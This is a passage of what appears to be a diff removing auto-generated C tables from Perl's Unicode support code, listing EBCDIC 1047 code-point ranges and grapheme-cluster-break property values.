GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Control, - GCB_Extend, - GCB_Control, - GCB_Extend, - GCB_Control, - GCB_Other -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 1047 */ - 1690, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE, - 0x15, - 0x16, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x904, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x93E, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC01, - 0xC04, - 0xC3E, - 0xC41, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC6, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDDF, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE33, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1056, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1084, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x1100, - 0x1160, - 0x11A8, - 0x1200, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A55, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B05, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1B83, - 0x1BA1, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1C24, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x20D0, - 0x20F1, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA825, - 0xA827, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA983, - 0xA984, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA4E, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAEC, - 0xAAEE, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xAAF7, - 0xABE3, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABEB, - 0xABEC, - 0xABED, - 0xABEE, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFF9E, - 0xFFA0, - 0xFFF0, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11001, - 0x11002, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x11083, - 0x110B0, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x11183, - 0x111B3, - 0x111B6, - 0x111BF, - 0x111C1, - 0x111C2, - 0x111C4, - 0x111CA, - 0x111CD, - 0x1122C, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B6, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A86, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C2F, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16D, - 0x1D16E, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0000, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xE1000 -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - GCB_Other = 0, - GCB_CR = 1, - GCB_Control = 2, - GCB_E_Base = 3, - GCB_E_Base_GAZ = 4, - GCB_E_Modifier = 5, - GCB_Extend = 6, - GCB_Glue_After_Zwj = 7, - GCB_L = 8, - GCB_LF = 9, - GCB_LV = 10, - GCB_LVT = 11, - GCB_Prepend = 12, - GCB_Regional_Indicator = 13, - GCB_SpacingMark = 14, - GCB_T = 15, - GCB_V = 16, - GCB_ZWJ = 17, - GCB_EDGE = 18 -} GCB_enum; - -static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 1047 */ - GCB_Control, - GCB_CR, - GCB_Control, - GCB_LF, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Other, - 